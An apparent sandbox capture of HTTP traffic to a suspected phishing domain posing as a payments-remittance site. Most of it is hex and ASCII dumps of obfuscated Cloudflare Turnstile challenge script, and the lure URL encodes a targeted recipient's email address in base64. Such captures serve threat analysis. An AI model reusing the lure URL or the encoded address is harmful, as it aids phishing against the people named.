fL,fS[gJ(1357)]=fM,fS[gJ(1293)]=fH,fS[gJ(1026)]=fN,fS[gJ(1879)]=fK,fS[gJ(1217)]=fJ,fS[gJ(946)]=f8,fS[gJ(979)]=fF,fS[gJ(673)]=fE,fS[gJ(1005)]=eZ,fS[gJ(1249)]=f0,fS[gJ(1303)]=fm,fS[gJ(581)]=fo,fS[gJ(1601)]=fn,fS[gJ(1237)]=fy,fS[gJ(1693)]=fx,fS[gJ(1178)]=fw,
2025-03-04 19:39:55 UTC	1369	IN	Data Raw: 3e 69 7d 2c 27 65 63 68 55 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 55 75 70 79 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 79 74 74 47 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 68 43 66 6c 72 27 3a 6a 6d 28 39 30 34 29 2c 27 4c 42 51 64 58 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 45 58 66 4c 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 46 59 7a 6b 66 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 69 74 4f 47 48 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 Data Ascii: >i},'echUb':function(h,i){return h<<i},'UupyZ':function(h,i){return h&i},'yttGQ':function(h,i){return h==i},'hCflr':jm(904),'LBQdX':function(h,i){return h<i},'EXfLD':function(h,i){return h\|i},'FYzkf':function(h,i){return h\|i},'itOGH':function(h,i){return
2025-03-04 19:39:55 UTC	1369	IN	Data Raw: 69 29 7d 29 3b 65 6c 73 65 20 65 28 66 2e 69 64 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 6a 70 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 29 7b 69 66 28 6a 70 3d 6a 6d 2c 73 3d 7b 27 77 41 42 71 50 27 3a 6a 70 28 35 34 35 29 2c 27 56 56 67 41 71 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 6a 71 29 7b 72 65 74 75 72 6e 20 6a 71 3d 6a 70 2c 64 5b 6a 71 28 39 33 31 29 5d 28 4f 29 7d 2c 27 64 66 6a 6b 64 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 50 2c 6a 72 29 7b 72 65 74 75 72 6e 20 6a 72 3d 6a 70 2c 64 5b 6a 72 28 31 30 39 31 29 5d 28 4f 2c 50 29 7d 2c 27 47 5a 66 54 7a 27 3a 6a 70 28 35 37 33 29 7d 2c 64 5b 6a 70 28 35 30 31 29 5d 28 6e 75 6c 6c 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 Data Ascii: i)});else e(f.id)},'g':function(i,j,o,jp,s,x,B,C,D,E,F,G,H,I,J,K,L,M,N){if(jp=jm,s={'wABqP':jp(545),'VVgAq':function(O,jq){return jq=jp,d[jq(931)](O)},'dfjkd':function(O,P,jr){return jr=jp,d[jr(1091)](O,P)},'GZfTz':jp(573)},d[jp(501)](null,i))return'';for
2025-03-04 19:39:55 UTC	1369	IN	Data Raw: 28 45 3d 4d 61 74 68 5b 6a 70 28 39 31 37 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 2c 64 65 6c 65 74 65 20 43 5b 44 5d 7d 65 6c 73 65 20 66 6f 72 28 4e 3d 42 5b 44 5d 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 6a 70 28 31 37 37 33 29 5d 28 49 2c 31 29 7c 64 5b 6a 70 28 31 38 38 37 29 5d 28 4e 2c 31 29 2c 4a 3d 3d 6a 2d 31 3f 28 4a 3d 30 2c 48 5b 6a 70 28 31 33 30 30 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 44 3d 28 45 2d 2d 2c 45 3d 3d 30 26 26 28 45 3d 4d 61 74 68 5b 6a 70 28 39 31 37 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 2c 42 5b 4d 5d 3d 46 2b 2b 2c 64 5b 6a 70 28 39 34 37 29 5d 28 53 74 72 69 6e 67 2c 4c 29 29 7d 69 66 28 27 27 21 3d 3d 44 29 7b 69 66 28 4f 62 6a 65 63 74 5b 6a 70 28 31 31 35 35 29 5d 5b 6a 70 28 39 Data Ascii: (E=Math[jp(917)](2,G),G++),delete C[D]}else for(N=B[D],x=0;x<G;I=d[jp(1773)](I,1)\|d[jp(1887)](N,1),J==j-1?(J=0,H[jp(1300)](o(I)),I=0):J++,N>>=1,x++);D=(E--,E==0&&(E=Math[jp(917)](2,G),G++),B[M]=F++,d[jp(947)](String,L))}if(''!==D){if(Object[jp(1155)][jp(9

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:39:55 UTC	743	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ebhl4/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:39:55 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:39:55 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 91b3d7a618e93869-EWR alt-svc: h3=":443"; ma=86400
2025-03-04 19:39:55 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:39:55 UTC	741	OUT	GET /favicon.ico HTTP/1.1 Host: paymentsremittance.hostingdoccentral.it.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=jcf107rrqjj7cudchpj1q997rr
2025-03-04 19:39:55 UTC	291	IN	HTTP/1.1 404 Not Found Date: Tue, 04 Mar 2025 19:39:55 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: max-age=14400 Cf-Cache-Status: EXPIRED CF-RAY: 91b3d7a879734375-EWR alt-svc: h3=":443"; ma=86400
2025-03-04 19:39:55 UTC	207	IN	Data Raw: 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: c4<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>0

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:39:55 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=91b3d7a1caf4f5fa&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:39:56 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:39:56 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 122977 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 91b3d7ab8865005e-EWR alt-svc: h3=":443"; ma=86400
2025-03-04 19:39:56 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 6e 69 45 44 61 35 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 Data Ascii: window._cf_chl_opt.niEDa5={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 2c 22 68 75 6d 61 6e 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 Data Ascii: ls%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","turnstile_refresh":"Refresh","human_button_text":"Verify%20you%20are%20human","turnstile_feedback_description":"Send%20Feedba
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 69 61 72 79 25 32 30 61 6e 64 25 32 30 69 73 25 32 30 6e 6f 25 32 30 6c 6f 6e 67 65 72 25 32 30 61 76 61 69 6c 61 62 6c 65 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 67 75 69 64 65 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 61 75 78 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 4a 2c 65 4d 2c 65 4e 2c 65 55 2c 66 31 2c 66 34 2c 66 37 2c 66 39 2c 66 61 2c 66 62 2c 66 6e 2c 66 7a 2c 66 46 2c 66 47 2c 66 48 2c 66 52 2c Data Ascii: iary%20and%20is%20no%20longer%20available"},"polyfills":{"feedback_report_output_subtitle":false,"feedback_report_guideline":false,"feedback_report_aux_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eU,f1,f4,f7,f9,fa,fb,fn,fz,fF,fG,fH,fR,
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 6e 28 63 2c 68 6e 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 29 7b 66 6f 72 28 68 6e 3d 67 4a 2c 66 3d 7b 27 4f 42 49 43 41 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6c 3d 3d 3d 6d 7d 2c 27 7a 4b 62 56 44 27 3a 68 6e 28 31 31 31 39 29 2c 27 42 55 65 42 55 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6c 28 6d 29 7d 2c 27 64 4f 68 5a 79 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6c 25 6d 7d 7d 2c 6b 2c 68 3d 33 32 2c 6a 3d 65 4d 5b 68 6e 28 36 32 32 29 5d 5b 68 6e 28 31 32 30 32 29 5d 2b 27 5f 27 2b 30 2c 6a 3d 6a 5b 68 6e 28 31 36 36 39 29 5d 28 2f 2e 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 2c 68 6f 2c 6e 2c 76 29 7b 28 68 6f 3d 68 6e 2c 6e 3d 7b 27 54 64 73 64 43 27 3a 66 75 6e 63 Data Ascii: n(c,hn,f,g,h,i,j,k){for(hn=gJ,f={'OBICA':function(l,m){return l===m},'zKbVD':hn(1119),'BUeBU':function(l,m){return l(m)},'dOhZy':function(l,m){return l%m}},k,h=32,j=eM[hn(622)][hn(1202)]+'_'+0,j=j[hn(1669)](/./g,function(l,m,ho,n,v){(ho=hn,n={'TdsdC':func
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 72 72 6f 72 3f 67 5b 68 72 28 33 37 30 29 5d 3d 4a 53 4f 4e 5b 68 72 28 35 30 34 29 5d 28 67 5b 68 72 28 33 37 30 29 5d 2c 4f 62 6a 65 63 74 5b 68 72 28 39 32 37 29 5d 28 67 5b 68 72 28 33 37 30 29 5d 29 29 3a 67 5b 68 72 28 33 37 30 29 5d 3d 4a 53 4f 4e 5b 68 72 28 35 30 34 29 5d 28 67 5b 68 72 28 33 37 30 29 5d 29 2c 6d 3d 69 7c 7c 6b 5b 68 72 28 31 37 30 39 29 5d 2c 6e 3d 6b 5b 68 72 28 31 35 37 33 29 5d 28 6b 5b 68 72 28 31 35 30 35 29 5d 2b 65 4d 5b 68 72 28 36 32 32 29 5d 5b 68 72 28 31 30 34 31 29 5d 2c 68 72 28 36 34 33 29 29 2b 65 4d 5b 68 72 28 36 32 32 29 5d 5b 68 72 28 31 32 30 32 29 5d 2b 27 2f 27 2b 65 4d 5b 68 72 28 36 32 32 29 5d 2e 63 48 2b 27 2f 27 2b 65 4d 5b 68 72 28 36 32 32 29 5d 5b 68 72 28 33 38 32 29 5d 2c 6f 3d 7b 7d 2c 6f 5b 68 Data Ascii: rror?g[hr(370)]=JSON[hr(504)](g[hr(370)],Object[hr(927)](g[hr(370)])):g[hr(370)]=JSON[hr(504)](g[hr(370)]),m=i\|\|k[hr(1709)],n=k[hr(1573)](k[hr(1505)]+eM[hr(622)][hr(1041)],hr(643))+eM[hr(622)][hr(1202)]+'/'+eM[hr(622)].cH+'/'+eM[hr(622)][hr(382)],o={},o[h
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 35 39 5e 74 68 69 73 2e 67 5d 5b 31 5d 5b 68 73 28 31 36 37 37 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 35 39 2e 39 36 5d 5b 30 5d 2b 2b 29 2d 31 35 34 2c 32 35 36 29 26 32 35 35 2e 35 33 2c 31 36 39 29 2c 78 3d 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 35 39 2e 32 35 5d 5b 68 73 28 31 32 33 36 29 5d 28 29 2c 78 5b 30 5d 3d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 35 39 5d 5b 33 5d 5e 67 5b 68 73 28 31 32 32 32 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 35 39 2e 35 39 5d 5b 31 5d 5b 68 73 28 31 36 37 37 29 5d 28 74 68 69 73 2e 68 5b 31 35 39 2e 36 37 5e 74 68 69 73 2e 67 5d 5b 30 5d 2b 2b 29 2c 31 35 34 29 2b 32 35 36 26 32 35 35 2e 37 29 3c 3c 31 36 7c 67 5b 68 73 28 39 36 31 29 5d 28 67 5b 68 73 28 34 33 34 29 5d 28 74 Data Ascii: 59^this.g][1][hs(1677)](this.h[this.g^159.96][0]++)-154,256)&255.53,169),x=this.h[this.g^159.25][hs(1236)](),x[0]=(this.h[this.g^159][3]^g[hs(1222)](this.h[this.g^159.59][1][hs(1677)](this.h[159.67^this.g][0]++),154)+256&255.7)<<16\|g[hs(961)](g[hs(434)](t
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 69 6f 2c 64 2c 65 29 7b 69 6f 3d 67 4a 2c 64 3d 7b 27 67 42 6f 71 41 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 2c 27 76 47 41 70 56 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 67 3d 3d 3d 66 7d 2c 27 52 63 5a 45 51 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 67 3d 3d 3d 66 7d 2c 27 4e 65 41 77 6c 27 3a 69 6f 28 31 31 38 33 29 2c 27 42 6e 50 44 51 27 3a 69 6f 28 37 31 39 29 2c 27 56 47 70 57 49 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 28 67 29 7d 7d 2c 65 3d 63 5b 69 6f 28 31 31 32 34 29 5d 2c 65 26 26 64 5b 69 6f 28 31 33 35 32 29 5d 28 65 5b 69 6f 28 38 37 37 29 5d 2c 69 6f 28 37 31 39 29 29 26 26 64 5b 69 6f 28 31 34 31 31 29 5d 28 65 5b 69 Data Ascii: io,d,e){io=gJ,d={'gBoqA':function(f){return f()},'vGApV':function(f,g){return g===f},'RcZEQ':function(f,g){return g===f},'NeAwl':io(1183),'BnPDQ':io(719),'VGpWI':function(f,g){return f(g)}},e=c[io(1124)],e&&d[io(1352)](e[io(877)],io(719))&&d[io(1411)](e[i
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 27 67 63 43 47 76 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 48 3d 3d 3d 47 7d 2c 27 73 4a 64 63 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3d 3d 3d 48 7d 2c 27 47 65 79 43 64 27 3a 6a 31 28 31 31 33 37 29 2c 27 65 56 63 6e 75 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 2c 27 76 57 7a 6b 78 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 7d 2c 6f 5b 6a 31 28 33 34 32 29 5d 28 6e 75 6c 6c 2c 68 29 7c 7c 6f 5b 6a 31 28 31 34 36 32 29 5d 28 76 6f 69 64 20 30 2c 68 29 29 72 65 74 75 72 6e 20 6a 3b 66 6f 72 28 78 3d 67 62 28 68 29 2c 67 5b 6a 31 28 35 38 33 Data Ascii: ion(G,H){return G+H},'gcCGv':function(G,H){return H===G},'sJdcO':function(G,H){return G===H},'GeyCd':j1(1137),'eVcnu':function(G,H,I){return G(H,I)},'vWzkx':function(G,H){return G+H}},o[j1(342)](null,h)\|\|o[j1(1462)](void 0,h))return j;for(x=gb(h),g[j1(583
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 31 35 29 5d 28 67 64 2c 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 7c 7c 67 5b 6c 5d 5b 6a 34 28 31 31 34 39 29 5d 28 27 6f 2e 27 2b 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 29 2c 6d 2b 2b 29 3b 7d 65 6c 73 65 20 67 5b 6c 5d 3d 68 5b 6a 5b 6b 5d 5d 5b 6a 34 28 31 33 30 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 6a 35 2c 73 2c 76 2c 78 29 7b 72 65 74 75 72 6e 28 6a 35 3d 6a 34 2c 69 5b 6a 35 28 35 32 36 29 5d 28 69 5b 6a 35 28 31 37 32 39 29 5d 2c 6a 35 28 33 37 39 29 29 29 3f 28 73 3d 7b 7d 2c 73 5b 6a 35 28 31 31 37 35 29 5d 3d 69 5b 6a 35 28 31 30 35 36 29 5d 2c 76 3d 73 2c 69 5b 6a 35 28 31 33 32 37 29 5d 28 78 29 2c 42 5b 6a 35 28 31 32 39 37 29 5d 5b 6a 35 28 31 33 38 33 29 5d 28 43 28 69 5b 6a 35 28 31 30 38 37 29 5d 29 29 2c 44 5b 6a 35 28 31 32 39 37 29 5d 5b 6a Data Ascii: 15)](gd,h[j[k]][m])\|\|g[l][j4(1149)]('o.'+h[j[k]][m])),m++);}else g[l]=h[j[k]][j4(1302)](function(n,j5,s,v,x){return(j5=j4,i[j5(526)](i[j5(1729)],j5(379)))?(s={},s[j5(1175)]=i[j5(1056)],v=s,i[j5(1327)](x),B[j5(1297)][j5(1383)](C(i[j5(1087)])),D[j5(1297)][j
2025-03-04 19:39:56 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 56 41 41 6a 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 68 77 61 73 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 75 6e 71 46 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6c 41 50 6c 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 4a 57 62 55 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 52 46 46 73 4a 27 3a 6a 37 28 31 36 31 37 29 2c 27 75 69 61 46 58 27 3a 6a 37 28 34 37 30 29 2c 27 67 54 70 4b 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 3d 69 Data Ascii: {return h(i)},'VAAjM':function(h,i){return i==h},'hwasI':function(h,i){return h<i},'unqFE':function(h,i){return h(i)},'lAPlk':function(h,i){return i==h},'JWbUm':function(h,i){return i==h},'RFFsJ':j7(1617),'uiaFX':j7(470),'gTpKl':function(h,i){return h===i

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:39:56 UTC	1149	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/302061580:1741115686:VPrrkfgK5Fjb68xBX7W-gDKZaVfhxReoh470mfFEUsY/91b3d7a1caf4f5fa/5xkicrhpJLPgbXgB7OFrHq4YMtqq1B0kOv3qd_ozWtM-1741117194-1.1.1.1-RFJ8sHMjvF9HpdDsoq0uhGwQ8y9rGcH_lXJLpJ_bVBmZ7XNSKqdanRu5iSufnVoL HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3873 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: text/plain;charset=UTF-8 cf-chl: 5xkicrhpJLPgbXgB7OFrHq4YMtqq1B0kOv3qd_ozWtM-1741117194-1.1.1.1-RFJ8sHMjvF9HpdDsoq0uhGwQ8y9rGcH_lXJLpJ_bVBmZ7XNSKqdanRu5iSufnVoL cf-chl-ra: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ebhl4/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:39:56 UTC	3873	OUT	Data Raw: 54 53 59 58 6d 58 68 58 63 58 64 58 69 66 4b 36 66 4b 38 58 66 6a 47 68 35 67 66 6d 4b 35 4b 37 65 6a 62 2b 55 4b 2d 79 4b 79 6a 73 57 73 61 4b 33 55 4b 53 7a 55 73 46 57 7a 4b 6d 55 79 4e 73 71 4b 34 6a 4b 76 37 55 70 70 55 4b 70 62 47 58 47 2b 59 41 58 62 57 4b 4d 2b 6e 4b 4b 74 75 32 6a 73 76 62 4b 6d 63 31 34 33 4b 34 63 47 79 57 4b 35 37 54 73 72 4a 31 68 66 76 67 64 55 47 61 49 59 4b 4b 69 67 4b 65 58 66 49 44 41 74 38 70 38 39 43 6a 4b 78 4b 4b 31 6f 79 35 49 72 74 38 52 78 74 6a 73 34 30 55 45 4b 43 70 58 50 6e 58 73 54 73 6d 55 4b 4e 37 6a 76 58 47 24 6b 55 6a 4b 50 6e 55 73 75 6e 58 59 4b 70 64 53 76 33 32 77 66 72 67 53 4f 76 4b 5a 51 76 38 32 2b 4b 62 4e 4b 2d 55 59 4b 6e 6a 5a 33 53 76 68 76 4b 4b 7a 55 77 63 42 65 6a 67 68 4b 74 41 41 68 6b Data Ascii: TSYXmXhXcXdXifK6fK8XfjGh5gfmK5K7ejb+UK-yKyjsWsaK3UKSzUsFWzKmUyNsqK4jKv7UppUKpbGXG+YAXbWKM+nKKtu2jsvbKmc143K4cGyWK57TsrJ1hfvgdUGaIYKKigKeXfIDAt8p89CjKxKK1oy5Irt8Rxtjs40UEKCpXPnXsTsmUKN7jvXG$kUjKPnUsunXYKpdSv32wfrgSOvKZQv82+KbNK-UYKnjZ3SvhvKKzUwcBejghKtAAhk
